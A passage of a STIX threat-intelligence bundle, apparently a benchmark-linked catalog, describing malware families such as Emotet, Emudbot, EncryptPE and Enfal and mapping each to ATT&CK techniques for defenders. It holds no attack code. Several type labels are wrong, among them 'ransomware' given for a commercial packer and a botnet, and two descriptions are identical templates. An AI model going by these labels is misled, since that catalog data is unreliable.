      "description": "Trojan:Win32/Emogen is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Emogen</b><br>To an end-user, an Emogen infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Emogen is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Emogen is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Emogen frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Emogen reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Emogen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/emogen"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03681dee-cec9-5c60-bf2b-b4530a5e282c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaced2f9-dd9b-5853-859f-7528c49afca2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emogen exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--195a9249-022d-5f0f-90b2-0e7389678429",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaced2f9-dd9b-5853-859f-7528c49afca2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emogen exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3922d6d2-c194-51f4-a461-f7796bc39699",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaced2f9-dd9b-5853-859f-7528c49afca2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emogen exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9379a167-c428-5a42-bcc5-56667c5d8e9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaced2f9-dd9b-5853-859f-7528c49afca2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emogen exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--390db46c-13c6-55c6-bb0f-7a4c38785cc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaced2f9-dd9b-5853-859f-7528c49afca2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emogen exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9e95fc62-0857-5097-80f1-850c2425572d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Emotet",
      "description": "Emotet (initially identified in 2014 as Geodo or Heodo) is historically recognized as one of the most destructive and costly botnet malware loaders ever observed by global cybersecurity authorities. Originally created as a modular banking trojan derived from Cridex code, its operators (tracked as Mummy Spider or TA542) transformed it into a dedicated, high-volume delivery infrastructure for second-stage payloads such as TrickBot, QakBot, Ryuk, and Conti ransomware.\n\nEmotet was pioneered for its sophisticated email thread-hijacking capabilities: upon compromising an endpoint, it harvested inboxes and automatically inserted malicious attachments (such as password-protected ZIP archives containing macro-enabled Word or Excel documents) into ongoing real-world corporate email chains. The botnet operated across separate infrastructure clusters designated as 'Epochs' (Epoch 1 through Epoch 5), using thousands of compromised WordPress sites as Tier-1 reverse proxy relays. In January 2021, a multinational law enforcement operation dubbed 'Operation Ladybird' (coordinated by Europol, the FBI, and the U.S. Department of Justice) took down its infrastructure. Although reconstructed in late 2021 using alternative encryption mechanisms (ECDH and AES-256), continuous law enforcement and defender pressure has neutralized its threat footprint. (Observed samples in benchmark: 12,943)",
      "is_family": true,
      "malware_types": [
        "downloader",
        "dropper"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Emotet",
        "Geodo",
        "Heodo",
        "TA542"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Emotet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/emotet"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA20-280A: Emotet Malware"
        }
      ],
      "labels": [
        "loader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f8054c3-0b06-5890-9f01-82fa14aec620",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e95fc62-0857-5097-80f1-850c2425572d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emotet exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0cab70d-3774-5b63-baa6-4fdd6b916d89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e95fc62-0857-5097-80f1-850c2425572d",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emotet exhibits technique T1059.005 (Visual Basic)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75997ab6-55cb-5926-b754-841a26d16cc1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e95fc62-0857-5097-80f1-850c2425572d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emotet exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8708639e-7149-5a1c-93c7-e10128563879",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e95fc62-0857-5097-80f1-850c2425572d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emotet exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a83d0435-6091-56de-9750-55296f367094",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Emotetn",
      "description": "<h3>Executive Summary</h3>\nEmotetN represents a specific detection signature or component variant of the notorious Emotet malware family. Originally designed as a banking Trojan, Emotet evolved into one of the most prolific and dangerous modular botnets and \"Malware-as-a-Service\" (MaaS) platforms in the world. It acts as a primary initial access broker, infecting systems and then leasing that access to other elite cybercriminal groups (such as the operators behind Ryuk or Conti ransomware) to deploy secondary, highly destructive payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nEmotet is predominantly distributed via massive, automated spear-phishing campaigns. These emails use hijacked email threads (reply-chain attacks) to appear highly authentic, containing malicious Word documents or password-protected ZIP archives containing weaponized macros.\n\nOnce the macro is executed, Emotet deploys advanced capabilities:\n<ul>\n<li><strong>Polymorphism and Evasion:</strong> Emotet heavily utilizes polymorphic code, meaning its binary signature changes constantly to evade traditional, signature-based antivirus detection. It also employs anti-analysis techniques to detect if it is running in a sandbox or virtual machine.</li>\n<li><strong>Modular Architecture:</strong> The core Emotet executable acts as a loader. It silently communicates with its Command and Control (C2) infrastructure to download specific modules, such as a spam module (to send more phishing emails), a credential stealer, or a network spreader (exploiting SMB vulnerabilities).</li>\n<li><strong>Secondary Payload Delivery:</strong> The most significant threat posed by Emotet is its role as a dropper. After establishing a foothold and harvesting credentials, it frequently downloads elite secondary malware, most notably TrickBot or QakBot, which in turn pave the way for devastating enterprise-wide ransomware deployments.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Emotet (or EmotetN) detection is a critical, \"Code Red\" security incident. Because it acts as a precursor to ransomware, discovering Emotet on a network means a massive ransomware deployment is imminent if the infection is not immediately contained.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The highest priority is to instantly disconnect the infected endpoint from the LAN to prevent lateral movement and the deployment of secondary payloads.</li>\n<li><strong>Enterprise-Wide Threat Hunting:</strong> Security teams must assume the infection has spread. Conduct sweeping EDR hunts across the entire environment for indicators of compromise (IoCs) associated with Emotet, TrickBot, and Cobalt Strike.</li>\n<li><strong>Complete Re-imaging and Password Resets:</strong> Do not attempt to \"clean\" an Emotet infection. The endpoint must undergo a complete bare-metal wipe and re-image from a known-good baseline, accompanied by a mandatory global password reset for the compromised user account.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.EmotetN",
        "Botnet.Emotet",
        "Win32/Emotet",
        "Heur.BZC.ZTR.Boxter"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Emotetn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/emotetn"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4b719a2-157e-5110-b076-623472de306c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a83d0435-6091-56de-9750-55296f367094",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emotetn exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--167f2a66-b386-5e15-8d71-dee95bc14b49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a83d0435-6091-56de-9750-55296f367094",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emotetn exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46145109-56ce-58a4-b25d-8d264b986015",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a83d0435-6091-56de-9750-55296f367094",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emotetn exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d982e72e-0e63-5d5f-aa66-8f7ac4b85ef2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a83d0435-6091-56de-9750-55296f367094",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emotetn exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--375e86ad-3195-5f63-9f61-9aebbfa51453",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Emudbot",
      "description": "<h3>Executive Summary</h3>\nEmudbot is a persistent trojan designed to recruit infected endpoints into a distributed botnet architecture. Once a machine is compromised, it becomes a \"zombie\" or \"bot,\" silently awaiting commands from a centralized or peer-to-peer (P2P) command-and-control (C2) network controlled by a botmaster.\n\n<h3>Infection Chain and Botnet Operations</h3>\nEmudbot spreads through a variety of vectors, including exploit kits hosted on compromised websites, malicious email attachments, and lateral movement via unpatched network vulnerabilities (such as SMB exploits). \n\nUpon execution, Emudbot immediately secures persistence by modifying registry run keys and creating hidden scheduled tasks. It then reaches out to its designated C2 infrastructure. The botnet architecture allows the botmaster to issue commands to thousands of infected machines simultaneously. Emudbot is highly modular and is typically instructed to perform the following illicit activities:\n<ul>\n<li><strong>Distributed Denial of Service (DDoS):</strong> Participating in massive, coordinated volumetric or application-layer attacks against target websites or infrastructure.</li>\n<li><strong>Spam Distribution:</strong> Utilizing the infected host's resources to send out millions of phishing or malspam emails.</li>\n<li><strong>Secondary Payload Delivery:</strong> Acting as a downloader to install ransomware, crypto-miners, or credential stealers onto the compromised network.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nAn Emudbot infection degrades network performance due to the constant C2 polling and potential participation in DDoS attacks. More importantly, it acts as an open backdoor into the enterprise environment, allowing threat actors persistent access to deploy subsequent, more devastating attacks.\n\n<h3>Mitigation and Eradication Strategies</h3>\n<ul>\n<li><strong>Network Segmentation:</strong> Implement strict network segmentation to limit the ability of the botnet to propagate laterally across the enterprise.</li>\n<li><strong>Traffic Analysis:</strong> Monitor edge firewalls and intrusion detection systems (IDS) for anomalous outbound traffic patterns, such as IRC (Internet Relay Chat) protocols or unusual HTTP POST requests typical of botnet C2 communications.</li>\n<li><strong>Vulnerability Management:</strong> Maintain a rigorous patching schedule for operating systems and third-party applications to close the vulnerabilities that exploit kits rely on for initial infection.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Botnet.Emudbot",
        "Trojan.Emudbot",
        "Win32/Emudbot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Emudbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/emudbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6470caa7-d76b-5ac1-9b4d-876a756e600a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--375e86ad-3195-5f63-9f61-9aebbfa51453",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emudbot exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91d6e570-e732-5060-82f7-775fcefa5746",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--375e86ad-3195-5f63-9f61-9aebbfa51453",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emudbot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--977f9255-eb85-5b95-9a82-a3611f3b1b88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--375e86ad-3195-5f63-9f61-9aebbfa51453",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Emudbot exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--300bbf6b-9173-5e7b-ba18-645e35689ff6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Encryptpe",
      "description": "<h3>Executive Summary</h3>\nEncryptPE is not inherently a malware family; rather, it is a legitimate commercial software protector and executable packer. However, in the context of threat intelligence, \"EncryptPE\" (or detections referencing it) strongly indicates that a malware author has utilized this specific packing tool to encrypt and obfuscate their malicious payload in order to evade static antivirus signatures and hinder reverse engineering efforts.\n\n<h3>Technical Capabilities and Abuse</h3>\nSoftware developers use tools like EncryptPE to protect their intellectual property from piracy. Malware authors abuse this exact same functionality to protect their malicious code from security researchers and AV engines.\n\nWhen a file is packed with EncryptPE, it exhibits several key behaviors:\n<ul>\n<li><strong>Static Evasion:</strong> The original malicious executable (`.exe` or `.dll`) is compressed and heavily encrypted. Traditional, signature-based antivirus scanners cannot read the underlying malicious code because it looks like randomized data on disk.</li>\n<li><strong>Memory Unpacking (Stub Execution):</strong> When the user executes the packed file, a small, unencrypted portion of code (the \"stub\") runs first. This stub allocates memory, decrypts the true malicious payload into that memory space, and then passes execution control to it.</li>\n<li><strong>Anti-Debugging/Anti-VM:</strong> Commercial packers like EncryptPE often include advanced anti-analysis features. The stub will actively check if it is running inside a debugger (like x64dbg) or a Virtual Machine (like VMware or VirtualBox). If analysis tools are detected, the stub will terminate execution to protect the payload.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nIf an enterprise security solution flags a file based on the presence of EncryptPE (and the file is not a known, internally developed application), it should be treated with extreme suspicion. The use of commercial packers is a hallmark of sophisticated malware campaigns attempting to bypass perimeter defenses.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Dynamic Analysis (Sandboxing):</strong> Static analysis is useless against EncryptPE. The file must be submitted to a secure, dynamic malware sandbox (like Cuckoo or ANY.RUN) that is hardened against anti-VM techniques. The sandbox will execute the file and monitor its behavior *after* it unpacks in memory.</li>\n<li><strong>Memory Forensics:</strong> For incident response on a live host, volatile memory (RAM) analysis is required. Analysts must dump the process memory to extract the unencrypted payload for further reverse engineering and IoC extraction.</li>\n<li><strong>Endpoint Sweeps:</strong> Once the true nature of the unpacked payload is understood (e.g., whether it is a banking trojan or ransomware), proceed with standard eradication procedures, including network isolation, process termination, and full system remediation.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Packed.EncryptPE",
        "Suspicious.Packer",
        "Win32/Packed.EncryptPE"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Encryptpe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/encryptpe"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b661941-cca5-5122-8777-303054095a92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--300bbf6b-9173-5e7b-ba18-645e35689ff6",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Encryptpe exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53168ed2-ba46-5889-a7eb-82b2c3607d70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--300bbf6b-9173-5e7b-ba18-645e35689ff6",
      "target_ref": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Encryptpe exhibits technique T1140 (Deobfuscate/Decode Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86809d4e-707e-5c8b-ad0e-e861675fbb89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--300bbf6b-9173-5e7b-ba18-645e35689ff6",
      "target_ref": "attack-pattern--0c25f90f-bf7e-5abc-9857-0b48857bdb1c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Encryptpe exhibits technique T1497 (Virtualization/Sandbox Evasion (Commercial packers often include features to prevent execution in analysis environments))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--189579ab-873a-5801-b1c7-249238b57f27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Enestedel",
      "description": "Trojan:Win32/Enestedel is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Enestedel</b><br>To an end-user, an Enestedel infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Enestedel is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Enestedel is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Enestedel frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Enestedel reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Enestedel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/enestedel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2afdf580-e715-5143-80f9-e1a3e56719ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--189579ab-873a-5801-b1c7-249238b57f27",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enestedel exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--981b9400-ca67-5fe5-9225-e853a1927c1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--189579ab-873a-5801-b1c7-249238b57f27",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enestedel exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55cb2c2e-ff64-5740-b7c0-73d9e2a397fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--189579ab-873a-5801-b1c7-249238b57f27",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enestedel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78ce1823-9edb-55d4-8770-60e26355c8f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--189579ab-873a-5801-b1c7-249238b57f27",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enestedel exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54cbfee3-7a87-503e-8b45-5ebedc1f40fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--189579ab-873a-5801-b1c7-249238b57f27",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enestedel exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--335f14ff-bf1e-53da-87b9-37adbee323ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Enfal",
      "description": "Backdoor:Win32/Enfal (also tracked as **Linfo**) is a highly targeted, persistent Remote Access Trojan (RAT) that has been used extensively by sophisticated Chinese state-sponsored APT groups (particularly those targeting government, aerospace, and defense sectors in Southeast Asia and the US). It acts as a primary backdoor to establish a long-term foothold for deep cyber espionage and data exfiltration.<br><br><b>Understanding the Enfal Backdoor</b><br>To the victim, the infection is completely invisible. For a threat intelligence analyst, an Enfal detection is a critical national security incident. It signifies that the organization has been breached by a highly skilled nation-state actor. Enfal is notable for its simplicity and reliability; rather than relying on massive exploits, it utilizes stealthy HTTP communication and basic encryption to remain undetected for months or years.<br><br><b>Execution and APT Mechanics</b><br>APT groups typically distribute Enfal via highly targeted spearphishing emails (`T1566.001`) containing weaponized Office documents (often exploiting CVE-2012-0158 or similar legacy vulnerabilities). Upon execution, the payload (`T1204.002`) drops the Enfal DLL into the `%SystemRoot%` directory and establishes persistence as a Windows Service (`T1543.003`). Enfal is designed for covert communication (`T1071.001`); it communicates with its Command and Control (C2) server using simple HTTP GET and POST requests, often mimicking legitimate web traffic. The C2 domain is usually hardcoded or generated dynamically. Once connected, the attacker can upload further specialized tools (like credential dumpers), download sensitive files (`T1041`), and execute arbitrary shell commands (`T1059.003`) to move laterally.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the devastating, long-term compromise of intellectual property and state secrets. The primary network IoC is beaconing HTTP traffic (often lacking standard User-Agent strings or using hardcoded, anomalous headers) to unknown or recently registered domains. EDR 